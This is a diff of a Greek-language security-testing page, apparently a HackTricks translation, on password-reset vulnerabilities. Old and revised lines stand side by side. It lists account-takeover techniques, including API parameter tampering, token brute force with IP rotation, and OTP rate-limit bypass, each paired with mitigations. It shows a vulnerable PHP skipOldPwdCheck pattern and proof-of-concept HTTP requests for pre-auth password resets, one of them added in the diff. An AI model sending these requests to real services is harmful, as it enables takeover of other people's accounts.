- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||||
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
|
||||||
|
|
||||||
## **Αλλαγή Email και Password οποιουδήποτε χρήστη μέσω API Parameters**
|
## **Αλλαγή Email και Password οποιουδήποτε χρήστη μέσω παραμέτρων API**
|
||||||
|
|
||||||
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και password στις API requests για να αλλάξουν τα credentials του λογαριασμού.
|
- Οι επιτιθέμενοι μπορούν να τροποποιήσουν τις παραμέτρους email και password σε αιτήματα API για να αλλάξουν τα account credentials.
|
||||||
```php
|
```php
|
||||||
POST /api/changepass
|
POST /api/changepass
|
||||||
[...]
|
[...]
|
||||||
("form": {"email":"victim@email.tld","password":"12345678"})
|
("form": {"email":"victim@email.tld","password":"12345678"})
|
||||||
```
|
```
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εξασφαλίστε αυστηρό έλεγχο παραμέτρων και επαλήθευση ταυτότητας.
|
- Διασφαλίστε αυστηρό έλεγχο παραμέτρων και ελέγχους πιστοποίησης.
|
||||||
- Εφαρμόστε αξιόπιστη καταγραφή και παρακολούθηση για να εντοπίζετε και να ανταποκρίνεστε σε ύποπτες ενέργειες.
|
- Εφαρμόστε αξιόπιστο logging και monitoring για την ανίχνευση και αντιμετώπιση ύποπτων ενεργειών.
|
||||||
- **Αναφορά**:
|
- **Reference**:
|
||||||
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
|
||||||
|
|
||||||
## **Χωρίς Rate Limiting: Email Bombing**
|
## **No Rate Limiting: Email Bombing**
|
||||||
|
|
||||||
- Η έλλειψη rate limiting για τα αιτήματα επαναφοράς κωδικού μπορεί να οδηγήσει σε email bombing, κατακλύζοντας τον χρήστη με μηνύματα επαναφοράς.
|
- Η έλλειψη rate limiting σε password reset requests μπορεί να οδηγήσει σε email bombing, υπερφορτώνοντας τον χρήστη με reset emails.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εφαρμόστε rate limiting με βάση τη διεύθυνση IP ή τον λογαριασμό χρήστη.
|
- Εφαρμόστε rate limiting βάσει IP address ή user account.
|
||||||
- Χρησιμοποιήστε CAPTCHA για να αποτρέψετε την αυτοματοποιημένη κατάχρηση.
|
- Χρησιμοποιήστε CAPTCHA challenges για την αποτροπή αυτοματοποιημένης κατάχρησης.
|
||||||
- **Αναφορές**:
|
- **References**:
|
||||||
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
|
||||||
|
|
||||||
## **Μάθετε πώς δημιουργείται το password reset token**
|
## **Find out How Password Reset Token is Generated**
|
||||||
|
|
||||||
- Η κατανόηση του μοτίβου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή brute-forcing των token. Κάποιες επιλογές:
|
- Η κατανόηση του pattern ή της μεθόδου πίσω από την παραγωγή του token μπορεί να οδηγήσει στην πρόβλεψη ή στο brute-forcing των tokens. Μερικές επιλογές:
|
||||||
- Βασισμένο σε Timestamp
|
- Βασισμένο σε Timestamp
|
||||||
- Βασισμένο στο UserID
|
- Βασισμένο στο UserID
|
||||||
- Βασισμένο στο email του χρήστη
|
- Βασισμένο στο email του User
|
||||||
- Βασισμένο στο όνομα και επίθετο
|
- Βασισμένο στο Firstname και Lastname
|
||||||
- Βασισμένο στην Ημερομηνία Γέννησης
|
- Βασισμένο στην Date of Birth
|
||||||
- Βασισμένο σε κρυπτογραφία
|
- Βασισμένο σε Cryptography
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για τη δημιουργία token.
|
- Χρησιμοποιήστε ισχυρές, κρυπτογραφικές μεθόδους για την παραγωγή token.
|
||||||
- Εξασφαλίστε επαρκή τυχαιότητα και μήκος για να αποτρέψετε την προβλεψιμότητα.
|
- Εξασφαλίστε επαρκή randomness και μήκος για να αποτρέψετε την προβλεψιμότητα.
|
||||||
- **Εργαλεία**: Χρησιμοποιήστε Burp Sequencer για να αναλύσετε την τυχαιότητα των token.
|
- **Εργαλεία**: Χρησιμοποιήστε Burp Sequencer για να αναλύσετε την τυχαιότητα των tokens.
|
||||||
|
|
||||||
## **Μαντέψιμα UUID**
|
## **Guessable UUID**
|
||||||
|
|
||||||
- Εάν τα UUIDs (version 1) είναι μαντέψιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα reset tokens. Ελέγξτε:
|
- Αν τα UUIDs (version 1) είναι guessable ή predictable, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα reset tokens. Έλεγχος:
|
||||||
|
|
||||||
|
|
||||||
{{#ref}}
|
{{#ref}}
|
||||||
uuid-insecurities.md
|
uuid-insecurities.md
|
||||||
{{#endref}}
|
{{#endref}}
|
||||||
|
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Χρησιμοποιήστε GUID version 4 για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφάλειας για άλλες εκδόσεις.
|
- Χρησιμοποιήστε GUID version 4 για randomness ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες versions.
|
||||||
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και δημιουργία GUIDs.
|
- **Εργαλεία**: Χρησιμοποιήστε [guidtool](https://github.com/intruder-io/guidtool) για ανάλυση και δημιουργία GUIDs.
|
||||||
|
|
||||||
## **Response Manipulation: Αντικατάσταση Κακής Απόκρισης με Καλή**
|
## **Response Manipulation: Replace Bad Response With Good One**
|
||||||
|
|
||||||
- Χειραγώγηση HTTP responses για να παρακάμψετε μηνύματα σφάλματος ή περιορισμούς.
|
- Παραποίηση HTTP responses για παράκαμψη error messages ή περιορισμών.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εφαρμόστε server-side ελέγχους για να διασφαλίσετε την ακεραιότητα των αποκρίσεων.
|
- Εφαρμόστε server-side ελέγχους για να διασφαλίσετε την ακεραιότητα των responses.
|
||||||
- Χρησιμοποιήστε ασφαλή κανάλια επικοινωνίας όπως HTTPS για να αποτρέψετε man-in-the-middle attacks.
|
- Χρησιμοποιήστε secure communication channels όπως HTTPS για να αποτρέψετε man-in-the-middle attacks.
|
||||||
- **Αναφορά**:
|
- **Reference**:
|
||||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||||
|
|
||||||
## **Χρήση Ληγμένου Token**
|
## **Using Expired Token**
|
||||||
|
|
||||||
- Δοκιμή αν ληγμένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού.
|
- Δοκιμή κατά πόσον expired tokens μπορούν ακόμα να χρησιμοποιηθούν για password reset.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε τη λήξη του token στο server-side.
|
- Εφαρμόστε αυστηρές πολιτικές expiration των token και επικυρώστε την expiry server-side.
|
||||||
|
|
||||||
## **Brute Force του Password Reset Token**
|
## **Brute Force Password Reset Token**
|
||||||
|
|
||||||
- Προσπάθεια brute-force του reset token χρησιμοποιώντας εργαλεία όπως Burpsuite και IP-Rotator για να παρακάμψετε rate limits βάσει IP.
|
- Επιχείρηση brute-force του reset token χρησιμοποιώντας εργαλεία όπως Burpsuite και IP-Rotator για την παράκαμψη των IP-based rate limits.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εφαρμόστε ισχυρό rate-limiting και μηχανισμούς κλειδώματος λογαριασμού.
|
- Εφαρμόστε ισχυρό rate-limiting και μηχανισμούς account lockout.
|
||||||
- Παρακολουθήστε για ύποπτες δραστηριότητες που υποδηλώνουν brute-force attacks.
|
- Παρακολουθήστε για ύποπτες ενέργειες που υποδηλώνουν brute-force attacks.
|
||||||
|
|
||||||
## **Δοκιμάστε να χρησιμοποιήσετε το token σας**
|
## **Try Using Your Token**
|
||||||
|
|
||||||
- Δοκιμή αν το reset token ενός επιτιθέμενου μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
|
- Δοκιμή αν το reset token ενός attacker μπορεί να χρησιμοποιηθεί σε συνδυασμό με το email του θύματος.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εξασφαλίστε ότι τα tokens συνδέονται με τη συνεδρία χρήστη ή άλλα χρήστη-συγκεκριμένα χαρακτηριστικά.
|
- Διασφαλίστε ότι τα tokens είναι δεμένα με το user session ή άλλα user-specific attributes.
|
||||||
|
|
||||||
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- Εξασφάλιση ότι οι συνεδρίες ακυρώνονται όταν ένας χρήστης κάνει logout ή επαναφέρει τον κωδικό του.
|
- Εξασφαλίστε ότι τα sessions invalidated όταν ένας χρήστης κάνει logout ή αλλάξει password.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Εφαρμόστε σωστή διαχείριση συνεδριών, εξασφαλίζοντας ότι όλες οι συνεδρίες ακυρώνονται κατά το logout ή την επαναφορά κωδικού.
|
- Εφαρμόστε σωστή session management, διασφαλίζοντας ότι όλα τα sessions invalidated κατά το logout ή το password reset.
|
||||||
|
|
||||||
## **Ακύρωση συνεδρίας κατά Logout/Password Reset**
|
## **Session Invalidation in Logout/Password Reset**
|
||||||
|
|
||||||
- Τα reset tokens πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται άκυρα.
|
- Τα reset tokens θα πρέπει να έχουν χρόνο λήξης μετά τον οποίο γίνονται invalid.
|
||||||
- **Μέτρα αντιμετώπισης**:
|
- **Βήματα μετριασμού**:
|
||||||
- Ορίστε λογικό χρόνο λήξης για τα reset tokens και εφαρμόστε το αυστηρά στο server-side.
|
- Ορίστε λογικό expiration time για τα reset tokens και επιβάλετέ το αυστηρά server-side.
|
||||||
|
|
||||||
## **Παράκαμψη rate limit OTP αλλάζοντας τη συνεδρία σας**
|
## **OTP rate limit bypass by changing your session**
|
||||||
|
|
||||||
- Εάν ο ιστότοπος χρησιμοποιεί τη συνεδρία χρήστη για να παρακολουθεί λανθασμένες προσπάθειες OTP και το OTP είναι αδύναμο ( <= 4 ψηφία), τότε μπορούμε ουσιαστικά να κάνουμε bruteforce το OTP.
|
- Αν η ιστοσελίδα χρησιμοποιεί user session για την παρακολούθηση λανθασμένων OTP προσπαθειών και το OTP είναι αδύναμο (<= 4 digits) τότε μπορούμε ουσιαστικά να bruteforce το OTP.
|
||||||
- **εκμετάλλευση**:
|
- **εξακρίβωση/επεκτάσεις**:
|
||||||
- απλά αιτηθείτε νέο session token μετά το μπλοκάρισμα από τον server.
|
- Απλά αιτηθείτε ένα νέο session token μετά το μπλοκάρισμα από το server.
|
||||||
- **Παράδειγμα** κώδικα που εκμεταλλεύεται αυτό το σφάλμα μαντεύοντας τυχαία το OTP (όταν αλλάζετε τη συνεδρία, το OTP θα αλλάξει επίσης, και έτσι δεν θα μπορούμε να το brute-force σειριακά!):
|
- **Example** code που εκμεταλλεύεται αυτό το bug με τυχαίες εικασίες του OTP (όταν αλλάζετε session το OTP θα αλλάζει επίσης, οπότε δεν μπορούμε να το brute-force σειριακά!):
|
||||||
|
|
||||||
``` python
|
``` python
|
||||||
# Authentication bypass by password reset
|
# Authentication bypass by password reset
|
||||||
@ -231,11 +231,11 @@ except Exception as e:
|
|||||||
print("[+] Attck stopped")
|
print("[+] Attck stopped")
|
||||||
```
|
```
|
||||||
|
|
||||||
## Αυθαίρετη επαναφορά κωδικού μέσω skipOldPwdCheck (pre-auth)
|
## Arbitrary password reset via skipOldPwdCheck (pre-auth)
|
||||||
|
|
||||||
Ορισμένες υλοποιήσεις εκθέτουν μια ενέργεια αλλαγής κωδικού που καλεί τη ρουτίνα αλλαγής κωδικού με skipOldPwdCheck=true και δεν επαληθεύει κανένα reset token ή ιδιοκτησία. Εάν το endpoint δέχεται μια παράμετρο action όπως change_password και ένα username/new password στο σώμα του αιτήματος, ένας επιτιθέμενος μπορεί να επαναφέρει αυθαίρετους λογαριασμούς pre-auth.
|
Κάποιες υλοποιήσεις εκθέτουν μια ενέργεια αλλαγής password που καλεί τη ρουτίνα αλλαγής password με skipOldPwdCheck=true και δεν επαληθεύει κανένα reset token ή ιδιοκτησία. Εάν το endpoint δέχεται ένα parameter action όπως change_password και ένα username/new password στο request body, ένας attacker μπορεί να επαναφέρει αυθαίρετους λογαριασμούς pre-auth.
|
||||||
|
|
||||||
Ευάλωτο μοτίβο (PHP):
|
Vulnerable pattern (PHP):
|
||||||
```php
|
```php
|
||||||
// hub/rpwd.php
|
// hub/rpwd.php
|
||||||
RequestHandler::validateCSRFToken();
|
RequestHandler::validateCSRFToken();
|
||||||
@ -263,13 +263,26 @@ Content-Type: application/x-www-form-urlencoded
|
|||||||
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
|
||||||
```
|
```
|
||||||
Μέτρα αντιμετώπισης:
|
Μέτρα αντιμετώπισης:
|
||||||
- Απαιτείτε πάντα ένα έγκυρο, χρονικά περιορισμένο reset token δεσμευμένο στον λογαριασμό και στη συνεδρία πριν από την αλλαγή του password.
|
- Απαιτείτε πάντα ένα έγκυρο, χρονικά οριοθετημένο reset token συνδεδεμένο με τον λογαριασμό και τη συνεδρία πριν την αλλαγή του κωδικού.
|
||||||
- Ποτέ μην εκθέτετε μονοπάτια skipOldPwdCheck σε μη πιστοποιημένους χρήστες; επιβάλετε έλεγχο ταυτότητας για τις κανονικές αλλαγές password και επαληθεύστε το παλιό password.
|
- Μην εκθέτετε ποτέ τις διαδρομές skipOldPwdCheck σε μη πιστοποιημένους χρήστες· επιβάλετε έλεγχο ταυτότητας για τις κανονικές αλλαγές κωδικού και επαληθεύστε τον παλιό κωδικό.
|
||||||
- Ακυρώστε όλες τις ενεργές συνεδρίες και όλα τα reset tokens μετά από μια αλλαγή password.
|
- Ακυρώστε όλες τις ενεργές συνεδρίες και τα reset tokens μετά την αλλαγή κωδικού.
|
||||||
|
|
||||||
|
## Εγγραφή ως Επαναφορά Κωδικού (Upsert σε υπάρχον email)
|
||||||
|
|
||||||
|
Ορισμένες εφαρμογές υλοποιούν τον signup handler ως upsert. Αν το email υπάρχει ήδη, ο handler ενημερώνει σιωπηλά την εγγραφή του χρήστη αντί να απορρίψει το αίτημα. Όταν το registration endpoint δέχεται ένα ελάχιστο JSON σώμα με υπάρχον email και νέο password, στην πράξη γίνεται επαναφορά κωδικού πριν την αυθεντικοποίηση χωρίς καμία επαλήθευση ιδιοκτησίας, επιτρέποντας πλήρη κατάληψη του λογαριασμού.
|
||||||
|
|
||||||
|
Pre-auth ATO PoC (επανεγγραφή του κωδικού υπάρχοντος χρήστη):
|
||||||
|
```http
|
||||||
|
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
|
||||||
|
Host: www.target.tld
|
||||||
|
Content-Type: application/json
|
||||||
|
|
||||||
|
{"email":"victim@example.com","password":"New@12345"}
|
||||||
|
```
|
||||||
## Αναφορές
|
## Αναφορές
|
||||||
|
|
||||||
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
|
||||||
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
- [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||||
|
- [How I Found a Critical Password Reset Bug (Registration upsert ATO)](https://s41n1k.medium.com/how-i-found-a-critical-password-reset-bug-in-the-bb-program-and-got-4-000-a22fffe285e1)
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user